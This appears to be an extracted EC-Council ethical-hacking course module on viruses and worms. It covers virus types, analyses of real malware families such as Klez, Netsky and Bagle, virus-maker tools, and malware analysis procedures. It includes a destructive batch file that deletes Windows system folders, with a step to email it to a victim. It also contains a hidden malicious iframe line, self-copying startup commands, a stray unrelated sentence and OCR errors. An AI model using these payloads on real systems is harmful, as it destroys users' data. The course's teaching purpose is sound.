Viruses and Worms

Module 7

Engineered by Hackers. Presented by Professionals.
One third of existing computer viruses were created in Jan-Oct 2010: Panda

PandaLabs, Panda Security’s anti-malware laboratory, stated that, in the first ten months of the year the number of threats created and distributed account for one third of all viruses that exist. These means that 34 percent of all malware ever created has appeared in the last ten months. The company’s collective intelligence database, which automatically detects, analyzes and classifies 99.4 percent of the threats received, now has 134 million separate files, 60 million of which are malware (viruses, worms, trojans and other threats).

The report further added that, up to October this year, some 20 million new strains of malware have been created (including new threats and variants of existing families), the same amount as in the whole of 2009. The average number of new threats created every day has risen from 55,000 to 63,000.

Despite these dramatic numbers, the speed with which the number of new threats is growing has dropped since 2009. Since 2003, “new threats have increased at a rate of 100 percent or more. Yet so far in 2010 the rate of growth is around 50 percent”, explains Luis Corrons, technical director, Pandalabs.

The company further informed that, although more malicious software is created, its lifespan is shorter: 54 percent of malware samples are active for just 24 hours, as opposed to the lifespan of several months enjoyed by the threats of previous years. They now infect just a few systems and then disappear. As antivirus solutions become able to detect new malware, hackers modify them or create new ones so as to evade detection. This is why it is so important to have protection technologies such as collective intelligence, which can rapidly neutralize new malware and reduce the risk window to which users are exposed during these first 24 hours.
Module Objectives

- Introduction to Virus
- Stages of Virus Life
- Working of Virus
- Virus Analysis
- Types of Viruses
- Writing a Simple Virus Program
- Computer Worms

- Worm Analysis
- What is Sheep Dip Computer?
- Malware Analysis Procedure
- Virus Detection Methods
- Virus and Worms Countermeasures
- Anti-virus Tools
- Penetration Testing for Virus

Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.
Introduction to Viruses

- A virus is a **self-replicating program** that produces its own code by attaching copies of itself into other executable codes.

- Some viruses affect computers as soon as their code is executed; other viruses lie dormant until a pre-determined logical circumstance is met.

---

**Characteristics**

- Infected Other Program
- Alters Data
- Corrupts Files and Programs
- Self Propagates
- Encrypts Itself
- Transforms Itself
Virus and Worm Statistics 2010

Top 13 countries with servers hosting malicious code

- USA: 28.99%
- Russia: 16.06%
- China: 13.64%
- Germany: 5.89%
- Netherlands: 5.49%
- Spain: 5.28%
- UK: 4.62%
- Sweden: 4.34%
- Ukraine: 2.76%
- Latvia: 2.02%
- Canada: 1.63%
- France: 1.49%
- Turkey: 0.63%
Stages of Virus Life

1. Design
   Developing virus code using programming languages or construction kits

2. Replication
   Virus replicates for a period of time within the target system and then spreads itself

3. Launch
   It gets activated with the user performing certain actions such as running an infected program

4. Detection
   A virus is identified as a threat infecting target systems

5. Incorporation
   Anti-virus software developers assimilate defenses against the virus

6. Elimination
   Users install anti-virus updates and eliminate the virus threats
In the infection phase, the virus replicates itself and attaches to an .exe file in the system.

Some viruses infect each time they are run and executed completely and others infect only when users’ trigger them, which can include a day, time, or a particular event.
Some viruses have **trigger events** to activate and corrupt systems.

Some viruses have bugs that **replicate and perform activities** such as file deletion and increase the session’s time.

They **corrupt the targets** only after spreading completely as intended by their developers.
Why Do People Create Computer Viruses?

- Inflict damage to competitors
- Financial benefits
- Research projects
- Play prank
- Vandalism
- Cyber terrorism
- Distribute political messages

Attacker

Vulnerable System
Indications of Virus Attack

Abnormal Activities
If the system acts in an unprecedented manner, you can suspect a virus attack.

False Positives
However, not all glitches can be attributed to virus attacks.
How does a Computer get Infected by Viruses?

- Not running the latest anti-virus application
- Not updating and not installing new versions of plug-ins
- Installing pirated software
- When a user accepts files and downloads without checking properly for the source
- Opening infected e-mail attachments
Virus Hoaxes

- Hoaxes are **false alarms** claiming reports about a **non-existing virus** which may contain virus attachments.
- Warning messages propagating that a certain **email message** should not be viewed and doing so will damage one’s system.

---

**Subject: FORWARD THIS WARNING AMONG FRIENDS, FAMILY AND CONTACTS**

PLEASE FORWARD THIS WARNING AMONG FRIENDS, FAMILY AND CONTACTS! You should be alert during the next few days. Do not open any message with an attachment entitled ‘POSTCARD FROM BEIJING’ or ‘RESIGNATION OF BARACK OBAMA’, regardless of who sent it to you. It is a virus that opens a POSTCARD IMAGE, then ‘burns’ the whole hard C disc of your computer.

This is the worst virus announced by CNN last evening. It has been classified by Microsoft as the most destructive virus ever. The virus was discovered by McAfee yesterday, and there is no repair yet for this kind of virus.

This virus simply destroys the Zero Sector of the Hard Disc, where the vital information is kept.

COPY THIS E-MAIL, AND SEND IT TO YOUR FRIENDS. REMEMBER: IF YOU SEND IT TO THEM, YOU WILL BENEFIT ALL OF US.

End-of-mail

Thanks.
Virus Analysis: **W32/Sality.AA**

- **W32/Sality-AA** is a virus that also acts as a keylogger and spreads via email by piggy-backing on W32/Netsky-T worm.
- It infects files of ".exe" and ".scr" on all drives excluding those under <Windows>.

**W32/Sality-AA creates the files**
- `<System>\vcmgcd32.d11`
- `<System>\vcmgcd32.d11_`

**W32/Sality-AA deletes all files found on the system with extension ".vdb" and ".avc" and files that start "drw" and end ".key"**

**The virus logs system information and keystrokes to certain windows and periodically submits to a remote website.**

**It modifies <Windows>\system.ini by adding the following:**
- `[MCIDRV_VER]`
- `DEVICE=<random string>`

---

**CEH**
Certified Ethical Hacker

Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.

**ATHENA**
TRUNG TÂM BẢO TÀO AN NINH MẠNG & QUẢN TRÌ MẠNG
WWW.ATHENA.EDU.VN
Virus Analysis: W32/Toal-A

- W32/Toal-A is an email-aware virus that arrives as an attachment called BinLaden_Brasil.exe.
- The subject of the email will be related to the conflict in Afghanistan. This is chosen randomly from a large selection including:

From: editor@hacker.com
To: 
Subject: USA against geneva convention?
Attached: BinLaden_Brasil.exe.

Best Wishes,
| I | The blank message has MIME Header encoded to exploit vulnerabilities in IE 5.01/5.5 that run an attachment automatically when the email is viewed |
| II | If the attached file is executed, it drops the library file INVICTUS.DLL to the Windows System directory and the virus itself to the Windows directory, using a random 3-letter name consisting of the upper case characters 'A-O'
| III | The virus may also make a copy of itself in the C:\ directory; these copies of the virus will have their file attributes set to hidden and read-only |
| IV | The virus adds its pathname to the "shell=" line in the [Boot] section of <Windows>\System.ini; this causes the virus to be run automatically each time the machine is restarted |
| V | The virus makes the C: drive shareable by setting various subkeys of: HKLM\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\Bin Laden |
Virus Analysis: W32/Toal-A

In particular, it will normally target Netstat.exe and Calc.exe

Each time you launch Windows Explorer, the virus will run and infect the files HH.EXE and Explorer.exe

The virus looks for the active anti-virus products scanners and attempts to terminate them

The message box is titled 'Worm/I-Worm/W32.BinLaden' and contains below text

Various colorful slogans will be displayed across the desktop, along with a message box

On rare occasions that the virus is run, it will activate a visual payload

The text is masked intentionally to hide offensive content
Virus Analysis: W32/Toal-A
Virus Analysis: W32/Toal-A

The virus tries to download information about other users from remote ICQ site by searching "white pages" for a list of keywords including: "history", "friends", "airplane"

The virus will then send itself to email addresses that it finds within the found pages

The virus process will normally terminate itself after 5-10 minutes, but can also be terminated using the Task Manager

Countermeasure: Microsoft has issued a patch to protect against this vulnerability at http://www.microsoft.com/technet/security/bulletin/MS01-027.asp
Virus Analysis: W32/Virut

Virut is a family of polymorphic memory-resident appending file infectors that have EPO (Entry Point Obscuring) capabilities.

The virus relocates a certain amount of bytes from the entry point of the original file and writes its initial decryptor there.

The virus writes its initial code into a gap (empty space) in the end of the original file’s code section and redirects the entry point address to that code.

It appends its code to the end of the file and changes the entry point address of the original program so it points to the start of the appended viral code.
Virus Analysis: **W32/Virut**

The virus attempts the following activities:
- Attempts to infect `.exe` and/or `.scr` files.
- Interferes file protection activities provided by Windows.
- **Embeds the command** to give the user access to the php, asp, htm and html files in the site in where virus was trapped in advance.

The website and the files altered by virus:
- The website is redirected to a malicious website.
- User gets infected with virus.
- User accesses malicious website.
- Virus infects user computer.
- User accesses malicious website.
- User publishes the infected files into a web server.
- Another user accesses the infected web page.
- User gets infected with virus.
- Virus infects user computer.

<iframe src="http://****.pl/rc/" width=1 height=1 style="border:0"></iframe>
Virus Analysis: **Klez**

Klez virus arrives as an email attachment that automatically runs when viewed or previewed in Microsoft Outlook or Outlook Express.

Its email messages arrive with randomly selected subjects.

It spoofs its email messages so that they appear to have been sent by certain email accounts, including accounts that are not infected.

It is a memory-resident mass-mailing worm that uses its own SMTP engine to propagate via email.
**Virus Analysis: Klez**

**Execution**
This virus drops a copy of itself as `WINK*.EXE` in the Windows System folder
(Where * is a random alphabetical string)

**Payload**
Once the victim’s computer is infected, the Klez virus starts propagating itself to other users through Microsoft Outlook contact list

**Autorun**
This virus creates this registry entry so that it is executed at every Windows startup:
```
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
Winkabc
```

**Register**
On Windows 2000 and XP, it sets itself as a service by creating this registry entry:
```
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Winkabc
```
Module Flow

1. Virus and Worms Concepts
2. Types of Viruses
3. Computer Worms
4. Malware Analysis
5. Countermeasures
6. Penetration Testing

Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.
Types of Viruses

System or Boot Sector Viruses
- Stealth Virus/Tunneling Virus

File Viruses
- Cluster Viruses
  - Sparse Infector Virus

Multipartite Virus
- Macro Virus
  - Add-on Virus

Encryption Virus

Polymorphic Virus

Metamorphic Virus

Overwriting File or Cavity Virus

How Do They Infect?

Shell Virus

File Extension Virus

Companion Virus/Camouflage Virus

Intrusive Virus

Direct Action or Transient Virus

Terminate and Stay Resident Virus (TSR)
System or Boot Sector Viruses

- Boot sector virus moves MBR to another location on the hard disk and copies itself to the original location of MBR.
- When system boots, virus code is executed first and then control is passed to original MBR.
File and Multipartite Viruses

File Viruses
File viruses infect files which are executed or interpreted in the system such as COM, EXE, SYS, OVL, OBJ, PRG, MNU and BAT files.
File viruses can be either direct-action (non-resident) or memory-resident.

Multipartite Virus
Multipartite virus that attempts to attack both the boot sector and the executable or program files at the same time.
Macro Viruses

Attacker

Infects Macro Enabled Documents

User

Macro viruses infect files created by Microsoft Word or Excel

Most macro viruses are written using macro language Visual Basic for Applications (VBA)

Macro viruses infect templates or convert infected documents into template files, while maintaining their appearance of ordinary document files
Cluster Viruses

Cluster viruses modify directory table entries so that directory entries point to the virus code instead of the actual program.

It will launch itself first when any program on the computer system is started and then the control is passed to actual program.

There is only one copy of the virus on the disk infecting all the programs in the computer system.
Stealth/Tunneling Viruses

- These viruses **eclude** the anti-virus software by intercepting its requests to the operating system.
- A virus can **hide itself** by intercepting the anti-virus software’s request to read the file and passing the request to the virus, instead of the OS.
- The virus can then **return** an uninfected version of the file to the anti-virus software, so that it appears as if the file is "clean".

---

**Diagram:**
- **Anti-virus Software**
- **Give me the system file tcpi.sys to scan**
- **VIRUS**: Hides Infected TCPIP.SYS
- **Here you go**
- **Original TCPIP.SYS**
Encryption Viruses

This type of virus uses simple encryption to encipher the code.

The virus is encrypted with a different key for each infected file.

AV scanner cannot directly detect these types of viruses using signature detection methods.
Polymorphic Code

1. Polymorphic code is a code that **mutates** while keeping the original algorithm intact.
2. To enable polymorphic code, the virus has to have a **polymorphic engine** (also called mutating engine or mutation engine).
3. A well-written polymorphic virus therefore **has no parts that stay the same** on each infection.

Diagram:
- **1.** User runs an infected program.
- **2.** Decryptor routine decrypts virus code and mutation engine.
- **3.** Virus does the damage.
- **4.** Instruct to create new DR.
- **5.** New Decryptor Routine (NDR).
- **6.** Instruct to create new FMF.
- **7.** New Encrypted Mutation Engine (EME).
- **8.** Virus encrypts itself with new key.
- **New Polymorphic Virus**
Metamorphic Viruses

1. Metamorphic viruses **rewrite** themselves completely each time they are to infect new executable.
2. Metamorphic code can **reprogram** itself by translating its own code into a temporary representation and then back to the normal code again.
3. For example, W32/Simile consisted of over 14000 lines of assembly code, 90% of it is part of the metamorphic engine.

![Metamorphic Virus Diagram](image-url)
Cavity Virus overwrites a part of the host file with a constant (usually nulls), without increasing the length of the file and preserving its functionality.

Sales & marketing management is the leading authority for executives in the sales and marketing management industries. The suspect, Desmond Turner, surrendered to authorities at a downtown Indianapolis fast-food restaurant.
Sparse Infector Viruses

Sparse infector virus infects only occasionally (e.g. every tenth program executed), or only files whose lengths fall within a narrow range.

By infecting less often, such viruses try to minimize the probability of being discovered.

Wake up on 15th of every month and execute code.
Companion/Camouflage Viruses

A Companion virus creates a **companion file** for each executable file the virus infects.

Therefore, a companion virus may save itself as **notepad.com** and every time a user executes notepad.exe (good program), the computer will load notepad.com (virus) and **infect** the system.

Virus infects the system with a file notepad.com and saves it in c:\winnt\system32 directory.

Notepad.exe

Notepad.com
Shell Viruses

- Virus code forms a shell around the target host program’s code, making itself the original program and host code as its sub-routine.
- Almost all boot program viruses are shell viruses.

Before Infection:
- Original Program

After Infection:
- Virus Code
- Original Program
1. File extension viruses change the extensions of files
2. .TXT is safe as it indicates a pure text file
3. With extensions turned off, if someone sends you a file named BAD.TXT.VBS, you will only see BAD.TXT
4. If you have forgotten that extensions are turned off, you might think this is a text file and open it
5. This is an executable Visual Basic Script virus file and could do serious damage
6. Countermeasure is to turn off “Hide file extensions” in Windows
Add-on and Intrusive Viruses

Add-on viruses append their code to the host code without making any changes to the latter or relocate the host code to insert their own code at the beginning.

Intrusive viruses overwrite the host code partly or completely with the viral code.
Transient and Terminate and Stay Resident Viruses

Basic Infection Techniques

Direct Action or Transient Virus
Transfers all the controls of the host code to where it resides
Selects the target program to be modified and corrupts it

Terminate and Stay Resident Virus (TSR)
Remains permanently in the memory during the entire work session even after the target host’s program is executed and terminated; can be removed only by rebooting the system
Writing a Simple Virus Program

1. Create a batch file Game.bat with this text:
   ```
   @ echo off
del c:\winnt\system32\*.*
del c:\winnt\*.*
   ```

2. Send the Game.com file as an email attachment to a victim.

3. Convert the Game.bat batch file to Game.com using bat2com utility.

4. When run it deletes core files in the WINNT directory making Windows unusable.
Terabit Virus Maker

Software Features:
- Turn Off Monitor
- Increase System Volume
- Close Internet Explorer Every 10 Sec
- Slow Down PC Speed
- Disable Task Manager
- Avoid Opening McAfee
- Disable Windows Firewall
- Transparent My Computer (100%)
- Open/Close CD-ROM Every 10 Sec
- Swap Mouse Buttons
- Disable Regedit
- Locking Drives, Directory
- Play BEEP Every Sec
- Always Clean Clipboard
- Disable System Restore
- Disable CMD
- Lock Internet Explorer Option Menu
- Remove Run From Start Menu
- Adding 30 Windows User
- Turn off Computer After 5 Min
- Avoid Opening Media Player
- Avoid Opening Calculator
- Delete Windows Fonts
- Delete Windows Screen Savers
- Remove Desktop Wallpaper

Options:
- Funny Start Button
- Hide Desktop Icons
- Format All Hard Drives
- Hide Taskbar
- Spread With Floppy
- Avoid Opening Notepad
- Avoid Opening Wordpad
- Hide Start Button
- Hide Windows Clock
- Avoid Opening Gedit
- Disable Screen Saver
- Disconnect From Internet
- Avoid Opening Yahoo Messenger
- Avoid Opening Mozilla Firefox
- Gradually Fill Hard Disk
- Disable Windows Security Center
- Disable Automatic Updates
- Disable Task Scheduler
- Disable Windows Themes
- Disable Telnet
- Disable Windows Messenger
- Funny Mouse
- Funny Keyboard
- Hide Folder Option Menu
- Delete All Files In My Documents

Fake Error Message:
- Title: Error
- Message: This file is not a
- Type: Critical
- Add 0 Fake Byte To Server
- File Name After Install:
  - Csmm.exe
- File Icon: Word

Create Virus

Save Settings
Load Settings

Contact:
terabit
terabit.info@yahoo.com

Copyright © by EC-Council
All Rights Reserved. Reproduction Is Strictly Prohibited.
DELmE's Batch Virus Maker

User Password: qwerty
Name: qwerty

Crash Computer
Start Crash.bat
Rem
Infect Startup Folder
copy %0 %"\%appdata\"\%Start Menu\%Programs\Startup\"
Rem
Infect Autostart.bat
echo start "\%systemdrive\%\autostart.bat"
Rem
Disable Windows Backup
not atp "\%systemdrive\%\SDRSCV"

Infection Payload Other Options
Miscellaneous
@echo off
Swap Mouse Buttons
Change User
Spam Local Disk
Spam With MagBox
Open/Close Disk Tray
Play WinXP Song
Reset Time
Spam Printer
Net Send Spam
Hide Virus File
Confuse File Extensions
Blue Screen Of Death
Hide Documents Folder
Hide Mush, Vid, Png

Delete
Delete All .Doc Files
Delete All .Txt Files
Delete All .Pdf Files
Delete All .Xml Files
Delete All .Mp3 Files
Delete All .Mp4 Files
Delete All .Png Files
Delete All .Exe Files
Delete All .Lrk Files
Delete My Restart
Delete Hall.dll
Delete My Computer
Delete My Documents
Delete My Music
Delete My Pictures

Delete Filetype
Insert File Extension To Delete (eg .txt)
all
exe
xml
bt

Delete Program
Delete Notepad
Delete Paint
Delete Word
Delete Calculator
Delete Excel
Delete Outlook
Delete Access
Delete Explorer
Delete Safari

Internet Options
http://www.jugglynx.com
http://www.google.com

Save As Bat
Save As .Txt
Start Over
Exit

Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.
Computer Worms

Computer worms are malicious programs that replicate, execute, and spread across the network connections independently without human interaction.

Most of the worms are created only to replicate and spread across a network, consuming available computing resources; however, some worms carry a payload to damage the host system.

Attackers use worm payload to install backdoors in infected computers, which turns them into zombies and creates botnet; these botnets can be used to carry further cyber attacks.
How is a **Worm** Different from a **Virus**?

A worm is a special type of virus that can replicate itself and use memory, but cannot attach itself to other programs.

A worm takes advantage of file or information transport features on computer systems and spreads through the infected network automatically but a virus does not.
Example of Worm Infection: Conficker Worm

The Conficker worm is a computer worm that infects computers and spreads itself to other computers across a network automatically, without human interaction.

Symptoms:
- Autorun.inf files are placed in the recycled directory or trash bin.
- Users are locked out of the directory.
- Traffic is sent through port 445 on non-Directory Service (DS) servers.
- Access to security-related sites is blocked.
- Access to administrator shared drives is denied.
The Conficker worm can also **disable** important services on your computer.

In the Autoplay dialog box, the option **Open folder to view files — Publisher not specified** was added by the worm.

The highlighted option, **Open folder to view files — using Windows Explorer** is the option that Windows provides and the option you should use.

If you select the first option, the worm **executes** and can begin to spread itself to other computers.
How does the Conficker Worm Work?

- Removable devices
- Computers with weak passwords
- Computers with open shares
- Computers without latest security updates
- Computers with proper password policy, security updates, anti-virus, and secured shares
- Conficker attempts to make numerous connections to computers across the network
Worm Analysis: **W32/Netsky**

W32/Netsky-A is a worm that spreads using email and Windows network shares.

It searches all mapped drives for files with these extensions in order to find email addresses: MSG, OFT, SHT, DBX, TBB, ADB, DOC, WAB, ASP, UIN, RTF, VBS, HTML, HTM, PL, PHP, TXT, EML

The worm will also attempt to copy itself into the root folders of drives C: to Z: using these filenames:

- angels.pif
- coolscreensaver.scr
- dictionary.doc.exe
- dolly_buster.jpg.pif
- doom2.doc.pif
- e.book.doc.exe
- e-book.archive.doc.exe
- eminem-lickmypussy.mp3.pif
- hardcoreporn.jpg.exe
- howtohack.doc.exe
- matrix.scr
- maxpayne2.crack.exe
- nero.7.exe
- office_crack.exe
- photoshop9crack.exe
- porno.scr
- programmingbasics.doc.exe
- rfcompilation.doc.exe
- serial.txt.exe
- sexsexsexsex.doc.exe
- strippoker.exe
- virii.scr
- winlonghorn.doc.exe
- winxp_crack.exe
Worm Analysis: **W32/Netsky**

**W32/Netsky-A** may arrive in an email with these characteristics:

- **Sender:** auctions@yahoo.com/responder@amazon.com/auctions@msn.com
- **Subject lines:** Re: Auction Successful/Re: Approved/Re: Details/Re: Document/Re: Excel file
- **Message:** Congratulations!!!
  You were successful in the auction. Auction ID <random> Product ID <random>
  A detailed description about the product are attached to this mail. Please contact this seller.
  Thank you!
- **Attached File:** __________

When the file is extracted and opened, the virus may display the message "The file could not be opened."

W32/Netsky-A copies itself into the Windows folder as services.exe

In order to run automatically when Windows starts up, W32/Netsky-A creates above registry entry.
Worm Analysis: **W32/Bagle.GE**

W32/Bagle.GE worm is embedded in an **e-mail attachment**, and spreads using the **infected computer's e-mailing networks**. It hides itself and other Bagle components using **rootkit techniques**.

### Installation

When Bagle.GE is run, it creates a directory named 'hidires' in the user’s 'Application Data' folder. It copies itself as

```
%User%\Application Data\hidires\hidr.exe
```

The trojan also drops the following driver file to the same folder:

```
%User%\Application Data\hidires\m_hook.sys
```

The trojan installs the following registry launchpoint as a string value:

```
[HKCU\SOFTWARE\Microsoft\Windows\Current Version\Run] "drvsyskit" = "%System%\hidr.exe"
```

### Payload

It tries to disable several AV and other security related software.

### Rootkit Details

Bagle.GE loads a kernel-mode driver (m_hook.sys) that it uses to hide itself and another Bagle related malware, Email-Worm:W32/Bagle.GF.

### Hidden Items

- Processes
- Files and directories
- Registry keys and values
What is **Sheep Dip Computer?**

Sheep dipping refers to the **analysis** of suspect files, incoming messages, etc. for malware.

A sheep dip computer is **installed with** port monitors, file monitors, network monitors and antivirus software and connects to a network only under **strictly controlled conditions**.

- Run user, group permission and process monitors
- Run device driver and file monitors
- Run port and network monitors
- Run registry and kernel monitors
Anti-virus system is a collection of computer software that detects and analyzes malicious code threats such as viruses, worms, and Trojans. They are used along with sheep dip computers.
Malware Analysis Procedure: Preparing Testbed

1. Install VMware or Virtual PC on the system.
2. Install guest OS into the Virtual PC/VMWare.
3. Isolate the system from the network by ensuring that the NIC card is in "host only" mode.
4. Disable the ‘shared folders’, and the ‘guest isolation’.
5. Copy the malware over to the guest OS.

Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.
Malware Analysis Procedure

I. Perform static analysis when the malware is inactive

II. Collect information about:
   - String values found in the binary with the help of string extracting tools such as BinText
   - The packaging and compressing technique used with the help of compression and decompression tools such as UPX

III. Set up network connection and check that it is not giving any errors

IV. Run the virus and monitor the process actions and system information with the help of process monitoring tools such as Process Monitor and Process Explorer
Malware Analysis Procedure

V  Record network traffic information using the connectivity and log packet content monitoring tools such as NetResident and TCPView

VI  Determine the files added, processes spawned, and changes to the registry with the help of registry monitoring tools such as RegShot

VII Collect the following information using debugging tools such as Ollydbg and Proc Dump:

- Service requests
- Attempts for incoming and outgoing connections
- DNS tables information
String Extracting Tool: BinText

http://www.foundstone.com

Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.

Athena
Trung Tâm Bảo Tàng An Ninh Mạng & Quản Trị Mạng
WWW.ATHENA.EDU.VN
Compression and Decompression Tool: **UPX**

```
C:\upx305w>upx.exe

Ultimate Packer for eXecutables
Copyright (C) 1996 - 2010
UPX 3.05w  Markus Oberhumer, Laszlo Molnar & John Reiser  Apr 27th 2010

Commands:
-1 compress faster
-2 decompress
-t test compressed file
-h give more help

Options:
-q be quiet
-oFILE write output to 'FILE'
-f force compression of suspicious files
-k keep backup files

UPX comes with ABSOLUTELY NO WARRANTY; for details visit http://upx.sf.net

http://upx.org
```
### Process Monitoring Tools: Process Monitor

![Process Monitor Screenshot](http://technet.microsoft.com)

<table>
<thead>
<tr>
<th>Time</th>
<th>Process Name</th>
<th>PID</th>
<th>Operation</th>
<th>Path</th>
<th>Result</th>
<th>Detail</th>
</tr>
</thead>
<tbody>
<tr>
<td>6:14:2...</td>
<td>services.exe</td>
<td>772</td>
<td>WriteFile</td>
<td>C:\WINDOWS\system32\config\SecEventLog</td>
<td>SUCCESS</td>
<td>Offset: 84,480, Len: 35</td>
</tr>
<tr>
<td>6:14:2...</td>
<td>services.exe</td>
<td>772</td>
<td>WriteFile</td>
<td>C:\WINDOWS\system32\config\SecEventLog</td>
<td>SUCCESS</td>
<td>Offset: 84,480, Len: 35</td>
</tr>
<tr>
<td>6:14:2...</td>
<td>services.exe</td>
<td>772</td>
<td>WriteFile</td>
<td>C:\WINDOWS\system32\config\SecEventLog</td>
<td>SUCCESS</td>
<td>Offset: 84,748, Len: 35</td>
</tr>
<tr>
<td>6:14:2...</td>
<td>services.exe</td>
<td>772</td>
<td>WriteFile</td>
<td>C:\WINDOWS\system32\config\SecEventLog</td>
<td>SUCCESS</td>
<td>Offset: 85,016, Len: 35</td>
</tr>
<tr>
<td>6:14:2...</td>
<td>lsass.exe</td>
<td>784</td>
<td>RegOpenKey</td>
<td>HKLM\SECURITY\Policy</td>
<td>SUCCESS</td>
<td>Desired Access: R:</td>
</tr>
<tr>
<td>6:14:2...</td>
<td>lsass.exe</td>
<td>784</td>
<td>RegOpenKey</td>
<td>HKLM\SECURITY\Policy</td>
<td>SUCCESS</td>
<td>Desired Access: R:</td>
</tr>
<tr>
<td>6:14:2...</td>
<td>lsass.exe</td>
<td>784</td>
<td>RegQueryValue</td>
<td>HKLM\SECURITY\Policy\SecDesc</td>
<td>SUCCESS</td>
<td>Desired Access: R:</td>
</tr>
<tr>
<td>6:14:2...</td>
<td>lsass.exe</td>
<td>784</td>
<td>RegCloseKey</td>
<td>HKLM\SECURITY\Policy\SecDesc</td>
<td>SUCCESS</td>
<td>Desired Access: R:</td>
</tr>
<tr>
<td>6:14:2...</td>
<td>lsass.exe</td>
<td>784</td>
<td>RegCloseKey</td>
<td>HKLM\SECURITY\Policy\SecDesc</td>
<td>SUCCESS</td>
<td>Desired Access: R:</td>
</tr>
<tr>
<td>6:14:2...</td>
<td>lsass.exe</td>
<td>784</td>
<td>RegCloseKey</td>
<td>HKLM\SECURITY\Policy\SecDesc</td>
<td>SUCCESS</td>
<td>Desired Access: R:</td>
</tr>
<tr>
<td>6:14:2...</td>
<td>lsass.exe</td>
<td>784</td>
<td>RegCloseKey</td>
<td>HKLM\SECURITY\Policy\SecDesc</td>
<td>SUCCESS</td>
<td>Desired Access: R:</td>
</tr>
<tr>
<td>6:14:2...</td>
<td>explorer.exe</td>
<td>5948</td>
<td>RegCreateKey</td>
<td>HKCU\Session Information\ProgramCount</td>
<td>SUCCESS</td>
<td>Desired Access: S:</td>
</tr>
<tr>
<td>6:14:2...</td>
<td>explorer.exe</td>
<td>5948</td>
<td>RegCreateKey</td>
<td>HKCU\Session Information\ProgramCount</td>
<td>SUCCESS</td>
<td>Desired Access: S:</td>
</tr>
<tr>
<td>6:14:2...</td>
<td>explorer.exe</td>
<td>5948</td>
<td>RegCreateKey</td>
<td>HKCU\Session Information\ProgramCount</td>
<td>SUCCESS</td>
<td>Desired Access: S:</td>
</tr>
<tr>
<td>6:14:2...</td>
<td>svchost.exe</td>
<td>1036</td>
<td>RegOpenKey</td>
<td>HKLM\SOFTWARE\Microsoft\COM</td>
<td>SUCCESS</td>
<td>Desired Access: R:</td>
</tr>
<tr>
<td>6:14:2...</td>
<td>svchost.exe</td>
<td>1036</td>
<td>RegOpenKey</td>
<td>HKLM\SOFTWARE\Microsoft\COM</td>
<td>SUCCESS</td>
<td>Desired Access: R:</td>
</tr>
<tr>
<td>6:14:2...</td>
<td>svchost.exe</td>
<td>1036</td>
<td>RegOpenKey</td>
<td>HKLM\SOFTWARE\Microsoft\COM</td>
<td>SUCCESS</td>
<td>Desired Access: R:</td>
</tr>
<tr>
<td>6:14:2...</td>
<td>svchost.exe</td>
<td>1036</td>
<td>RegOpenKey</td>
<td>HKLM\SOFTWARE\Microsoft\COM</td>
<td>SUCCESS</td>
<td>Desired Access: R:</td>
</tr>
</tbody>
</table>

Showing 215,374 of 338,368 events (63%)  Backed by page file
Log Packet Content Monitoring Tools: NetResident

![NetResident software interface]

**How to Bypass Most Firewall Restrictions and Access the Internet**

26 Sep 2009... How to Surf the Internet at Work (or School) Privately (Using SSH and an HTTP Proxy Server) Get Around A Firewall, If MySpace is Blocked you...

[Go to external link](http://www.tamos.com)
Debugging Tool: Ollydbg

http://www.ollydbg.de

Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.
Virus Analysis Tool: **IDA Pro**

http://www.hex-rays.com
Online Malware Testing: Sunbelt CWSandbox

Submit a file to Sunbelt's CWSandbox online malware analyzer

Current Definitions:
- VIPRE® Enterprise Premium
- VIPRE® Antivirus
- Counter Spy® Enterprise
- Counter Spy®
- Rogue Anti Spyware Blog
- EU Security, Trust and Def.

Analysis Summary
- CW Sandbox Version: 2.1.13
- Time: 3/18/2009 3:44:20 PM
- Submitted File: c:\nttrust\digicap.exe
- MD5: c24b6e8e4275686c2958a2925c7
- SHA1: 2b4044e2a4d88743b63c4bd7747a2e2d0b6
- Logpath: cwsandbox

Main Processes (2):
- PROCESS # 1, (ID: 1112)
- PROCESS # 2, (ID: 764)

Spawned Processes (18):
- PROCESS # 3, (ID: 400)
- PROCESS # 4, (ID: 1420)
- PROCESS # 5, (ID: 624)
- PROCESS # 6, (ID: 886)
- PROCESS # 7, (ID: 720)
- PROCESS # 8, (ID: 792)
- PROCESS # 9, (ID: 800)
- PROCESS # 10, (ID: 996)
- PROCESS # 11, (ID: 1064)
- PROCESS # 12, (ID: 1150)
- PROCESS # 13, (ID: 1200)
- PROCESS # 14, (ID: 1372)
- PROCESS # 15, (ID: 1584)
- PROCESS # 16, (ID: 1708)
- PROCESS # 17, (ID: 1900)
- PROCESS # 18, (ID: 1976)

http://www.sunbeltsecurity.com
Online Malware Testing: VirusTotal

VirusTotal is a service that analyzes files and URLs and facilitates the quick detection of viruses, worms, trojans, and all kinds of malware detected by antivirus engines.

Analysis | Search | Statistics | Advanced | VT Community | About

Upload a file | Submit a URL

C:\Documents and Settings\Default\My Documents\HTML_Troj\Browse

If you wish, you can also send files via email or using VirusTotal's public API.
(Maximum file size: 20MB)

File name: ProRat.exe
Submission date: 2010-08-10 04:00:57 (UTC)
Current status: finished
Result: 41/42 (97.6%)

<table>
<thead>
<tr>
<th>Antivirus</th>
<th>Version</th>
<th>Last Update</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>AhnLab-V3</td>
<td>2010.08.18.00</td>
<td>2010.08.17</td>
<td>Win-Trojan\ProRat.2968576</td>
</tr>
<tr>
<td>AntiVir</td>
<td>8.2.4.34</td>
<td>2010.08.17</td>
<td>BDC\ProRat.19.1F</td>
</tr>
<tr>
<td>Antiy-AVL</td>
<td>2.0.3.7</td>
<td>2010.08.16</td>
<td>BackDoor\Win32. ProRat.gen</td>
</tr>
<tr>
<td>Authentic</td>
<td>5.8.0.0</td>
<td>2010.08.10</td>
<td>Win32\ProRat\DC06d</td>
</tr>
<tr>
<td>Avast</td>
<td>4.8.1.351.0</td>
